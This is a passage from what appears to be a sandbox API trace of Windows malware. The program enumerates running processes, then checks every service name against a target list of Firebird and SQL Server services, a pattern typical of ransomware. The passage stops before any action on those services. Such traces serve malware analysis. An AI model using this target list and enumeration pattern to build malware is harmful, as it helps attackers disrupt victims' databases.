(lpString="drama tv thee.exe") returned 17 [0153.777] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0153.777] lstrlenW (lpString="barriers.exe") returned 12 [0153.777] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0153.778] lstrlenW (lpString="shootclick.exe") returned 14 [0153.778] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0153.779] lstrlenW (lpString="nickel.exe") returned 10 [0153.779] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0153.779] lstrlenW (lpString="imperialopened.exe") returned 18 [0153.779] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0153.780] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0153.780] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0153.781] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0153.781] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0153.781] lstrlenW (lpString="perhapssentences.exe") returned 20 [0153.781] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0153.782] lstrlenW (lpString="dllhost.exe") returned 11 [0153.782] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.783] lstrlenW (lpString="svchost.exe") returned 11 [0153.783] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0153.783] lstrlenW (lpString="chrome64b.exe") returned 13 [0153.784] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0153.784] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0153.784] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0153.785] lstrlenW (lpString="conhost.exe") returned 11 [0153.785] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0153.785] lstrlenW (lpString="cmd.exe") returned 7 [0153.785] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0153.786] CloseHandle (hObject=0x27c) returned 1 [0153.786] Sleep (dwMilliseconds=0x1f4) [0155.315] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ce8c0 [0155.315] EnumServicesStatusExW (in: hSCManager=0x7ce8c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0155.316] GetLastError () returned 0xea [0155.316] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1f3c) returned 0x7efbc8 [0155.316] EnumServicesStatusExW (in: hSCManager=0x7ce8c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7efbc8, cbBufSize=0x1f3c, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7efbc8, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0155.316] CloseServiceHandle (hSCObject=0x7ce8c0) returned 1 [0155.317] lstrlenW (lpString="Appinfo") returned 7 [0155.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0155.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0155.317] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0155.317] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0155.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0155.317] lstrlenW (lpString="AppXSvc") returned 7 [0155.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0155.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0155.317] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0155.317] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0155.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0155.317] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0155.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0155.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0155.317] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0155.317] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0155.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0155.317] lstrlenW (lpString="Audiosrv") returned 8 [0155.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0155.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0155.317] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0155.317] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0155.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0155.317] lstrlenW (lpString="BFE") returned 3 [0155.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0155.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0155.317] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0155.317] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0155.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0155.317] lstrlenW (lpString="BITS") returned 4 [0155.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0155.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0155.318] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0155.318] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0155.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0155.318] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0155.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0155.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0155.318] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0155.318] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0155.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0155.318] lstrlenW (lpString="CDPSvc") returned 6 [0155.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0155.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0155.318] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0155.318] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0155.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0155.318] lstrlenW (lpString="ClickToRunSvc") returned 13 [0155.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0155.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0155.318] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0155.318] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0155.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0155.318] lstrlenW (lpString="ClipSVC") returned 7 [0155.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0155.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0155.318] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0155.318] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0155.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0155.318] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0155.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0155.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0155.318] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0155.318] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0155.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0155.319] lstrlenW (lpString="CryptSvc") returned 8 [0155.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0155.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0155.319] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0155.319] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0155.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0155.319] lstrlenW (lpString="DcomLaunch") returned 10 [0155.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0155.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0155.319] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0155.319] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0155.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0155.319] lstrlenW (lpString="DeviceAssociationService") returned 24 [0155.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0155.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0155.319] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0155.319] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0155.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0155.319] lstrlenW (lpString="Dhcp") returned 4 [0155.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0155.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0155.319] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0155.319] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0155.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0155.319] lstrlenW (lpString="Dnscache") returned 8 [0155.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0155.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0155.319] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0155.319] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0155.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0155.319] lstrlenW (lpString="DoSvc") returned 5 [0155.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0155.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0155.319] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0155.319] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0155.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0155.320] lstrlenW (lpString="DPS") returned 3 [0155.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0155.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0155.320] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0155.320] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0155.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0155.320] lstrlenW (lpString="DusmSvc") returned 7 [0155.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0155.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0155.320] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0155.320] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0155.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0155.320] lstrlenW (lpString="EventLog") returned 8 [0155.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0155.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0155.320] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0155.320] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0155.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0155.320] lstrlenW (lpString="EventSystem") returned 11 [0155.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0155.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0155.320] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0155.320] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0155.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0155.320] lstrlenW (lpString="FontCache") returned 9 [0155.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0155.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0155.320] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0155.320] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0155.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0155.320] lstrlenW (lpString="gpsvc") returned 5 [0155.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0155.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0155.320] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0155.320] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0155.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0155.321] lstrlenW (lpString="iphlpsvc") returned 8 [0155.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0155.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0155.321] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0155.321] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0155.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0155.321] lstrlenW (lpString="KeyIso") returned 6 [0155.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0155.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0155.321] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0155.321] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0155.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0155.321] lstrlenW (lpString="LanmanServer") returned 12 [0155.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0155.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0155.321] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0155.321] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0155.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0155.321] lstrlenW (lpString="LanmanWorkstation") returned 17 [0155.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0155.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0155.321] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0155.321] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0155.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0155.321] lstrlenW (lpString="lfsvc") returned 5 [0155.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0155.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0155.321] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0155.321] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0155.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0155.321] lstrlenW (lpString="LicenseManager") returned 14 [0155.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0155.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0155.321] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0155.321] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0155.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0155.322] lstrlenW (lpString="lmhosts") returned 7 [0155.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0155.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0155.322] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0155.322] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0155.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0155.322] lstrlenW (lpString="LSM") returned 3 [0155.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0155.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0155.322] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0155.322] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0155.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0155.322] lstrlenW (lpString="MpsSvc") returned 6 [0155.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0155.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0155.322] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0155.322] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0155.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0155.322] lstrlenW (lpString="NcbService") returned 10 [0155.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0155.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0155.322] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0155.322] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0155.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0155.322] lstrlenW (lpString="netprofm") returned 8 [0155.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0155.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0155.322] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0155.322] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0155.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0155.322] lstrlenW (lpString="NgcSvc") returned 6 [0155.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0155.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0155.322] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0155.322] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0155.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0155.323] lstrlenW (lpString="NlaSvc") returned 6 [0155.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0155.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0155.323] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0155.323] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0155.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0155.323] lstrlenW (lpString="nsi") returned 3 [0155.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0155.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0155.323] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0155.323] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0155.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0155.323] lstrlenW (lpString="PcaSvc") returned 6 [0155.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0155.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0155.323] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0155.323] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0155.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0155.323] lstrlenW (lpString="PlugPlay") returned 8 [0155.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0155.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0155.323] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0155.323] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0155.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0155.323] lstrlenW (lpString="Power") returned 5 [0155.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0155.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0155.323] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0155.323] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0155.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0155.323] lstrlenW (lpString="ProfSvc") returned 7 [0155.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0155.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0155.324] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0155.324] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0155.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0155.324] lstrlenW (lpString="RpcEptMapper") returned 12 [0155.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0155.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0155.324] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0155.324] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0155.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0155.324] lstrlenW (lpString="RpcSs") returned 5 [0155.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0155.324] 